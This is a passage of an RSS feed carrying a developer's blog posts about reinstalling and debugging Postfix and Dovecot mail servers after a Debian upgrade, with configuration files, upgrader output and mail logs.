class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;212.227.17.5&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.66&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.18&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="n"&gt;Requested&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="n"&gt;okay&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;completed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;MkWc2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;vWpNy3rjC&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="n"&gt;o0YX&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;93816&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;AC41A2893A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And somebody &lt;a class="reference external" href="https://serverfault.com/questions/1051407/what-system-mail-name-do-i-put-for-postfix-configuration"&gt;on serverfault.com&lt;/a&gt;
wrote “Please read Postfix’s &lt;a class="reference external" href="https://www.postfix.org/STANDARD_CONFIGURATION_README.html"&gt;STANDARD CONFIGURATION README&lt;/a&gt; carefully.
Postfix has perfect documentation, it’s worth to just dive in it.” Yes, seems
that I am too old or too stupid for running my own mail server.&lt;/p&gt;
&lt;p&gt;My /etc/dovecot/local.conf contains:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;listen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;::&lt;/span&gt;
&lt;span class="n"&gt;auth_mechanisms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;plain&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;

&lt;span class="n"&gt;mail_driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;maildir&lt;/span&gt;
&lt;span class="n"&gt;mail_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;Maildir&lt;/span&gt;
&lt;span class="n"&gt;mail_inbox_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;Maildir&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;INBOX&lt;/span&gt;

&lt;span class="c1"&gt;# unix_listener /var/spool/postfix/private/auth {&lt;/span&gt;
&lt;span class="c1"&gt;#   mode = 0666&lt;/span&gt;
&lt;span class="c1"&gt;# }&lt;/span&gt;

&lt;span class="n"&gt;ssl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;span class="n"&gt;ssl_server_cert_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fullchain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
&lt;span class="n"&gt;ssl_server_key_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;privkey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;


&lt;span class="c1"&gt;# Authenticate as system users:&lt;/span&gt;
&lt;span class="n"&gt;passdb&lt;/span&gt; &lt;span class="n"&gt;pam&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;log_debug&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;category&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;
&lt;span class="n"&gt;auth_debug_passwords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0422.html</guid><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate></item><item><title>Monday, April 13, 2026</title><link>https://luc.lino-framework.org/blog/2026/0413.html</link><description>&lt;section id="monday-april-13-2026"&gt;
&lt;h1&gt;Monday, April 13, 2026&lt;a class="headerlink" href="#monday-april-13-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Working for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/6733"&gt;#6733&lt;/a&gt; (laudate server not responding and kswapd0 CPU usage
at 200%).&lt;/p&gt;
&lt;p&gt;I’m trying to get Dovecot up and running correctly on laudate. That site was
upgraded from Debian 12 to 13, but I told it to ignore my old dovecot configs
because I prefer to start a setup from scratch.&lt;/p&gt;
&lt;p&gt;Doveconf configuration is split over multiple files, which makes things more
maintainable but less readable. Fortunatly for simple minds like me, there is
the command &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;doveconf&lt;/span&gt; &lt;span class="pre"&gt;-nP&lt;/span&gt;&lt;/code&gt; command who turns them into a single-file
config.&lt;/p&gt;
&lt;p&gt;I used &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;doveconf&lt;/span&gt; &lt;span class="pre"&gt;-nP&lt;/span&gt;&lt;/code&gt; to output my doveconf compilation of another server,
which still runs under Debian 12 and where dovecot works correctly:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;auth_mechanisms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;plain&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;
&lt;span class="n"&gt;disable_plaintext_auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt;
&lt;span class="n"&gt;mail_location&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;maildir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;Maildir&lt;/span&gt;
&lt;span class="n"&gt;mail_privileged_group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;
&lt;span class="n"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;inbox&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;inbox&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
  &lt;span class="n"&gt;location&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Drafts&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Drafts&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Junk&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Junk&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Sent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Sent&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Sent Messages&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Sent&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Trash&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Trash&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;passdb&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pam&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;protocols&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot; pop3&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;unix_listener&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;spool&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;
    &lt;span class="n"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0666&lt;/span&gt;
    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;110&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;ssl_cert&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fullchain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
&lt;span class="n"&gt;ssl_client_ca_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;certs&lt;/span&gt;
&lt;span class="n"&gt;ssl_dh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;share&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
&lt;span class="n"&gt;ssl_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;privkey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
&lt;span class="n"&gt;userdb&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dovecot.org/upgrader/"&gt;dovecot upgrader tool&lt;/a&gt; converts this to:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Conversion performed at 2026-04-13 07:03:22.768058&lt;/span&gt;
&lt;span class="n"&gt;dovecot_config_version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;2.4.2&lt;/span&gt;
&lt;span class="n"&gt;dovecot_storage_version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;2.4.0&lt;/span&gt;
&lt;span class="n"&gt;auth_allow_cleartext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;span class="n"&gt;auth_mechanisms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;plain&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;
&lt;span class="n"&gt;mail_driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;maildir&lt;/span&gt;
&lt;span class="n"&gt;mail_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;Maildir&lt;/span&gt;
&lt;span class="n"&gt;mail_privileged_group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;
&lt;span class="n"&gt;protocols&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;
&lt;span class="n"&gt;ssl_client_ca_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;certs&lt;/span&gt;

&lt;span class="n"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;inbox&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;inbox&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;

  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Drafts&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Drafts&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Junk&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Junk&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Sent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Sent&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Sent Messages&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Sent&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Trash&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Trash&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;passdb&lt;/span&gt; &lt;span class="n"&gt;pam&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pam&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;userdb&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;unix_listener&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;spool&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;
    &lt;span class="n"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0666&lt;/span&gt;
    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;110&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;ssl_server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;cert_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fullchain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
  &lt;span class="n"&gt;dh_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;share&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
  &lt;span class="n"&gt;key_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="c1"&gt;# hidden, use -P to show it&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Warnings during conversion:&lt;/span&gt;
&lt;span class="c1"&gt;# - pruned default: inbox prefix = &amp;#39;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is the output of &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;doveconf&lt;/span&gt; &lt;span class="pre"&gt;-nP&lt;/span&gt;&lt;/code&gt; on laudate after the fresh
installation:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;dovecot_config_version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;2.4.0&lt;/span&gt;
&lt;span class="n"&gt;dovecot_storage_version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;2.4.0&lt;/span&gt;
&lt;span class="n"&gt;fts_autoindex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;span class="n"&gt;fts_autoindex_max_recent_msgs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;999&lt;/span&gt;
&lt;span class="n"&gt;fts_search_add_missing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;span class="n"&gt;mail_driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mbox&lt;/span&gt;
&lt;span class="n"&gt;mail_home&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/%&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;mail_inbox_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;/%&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
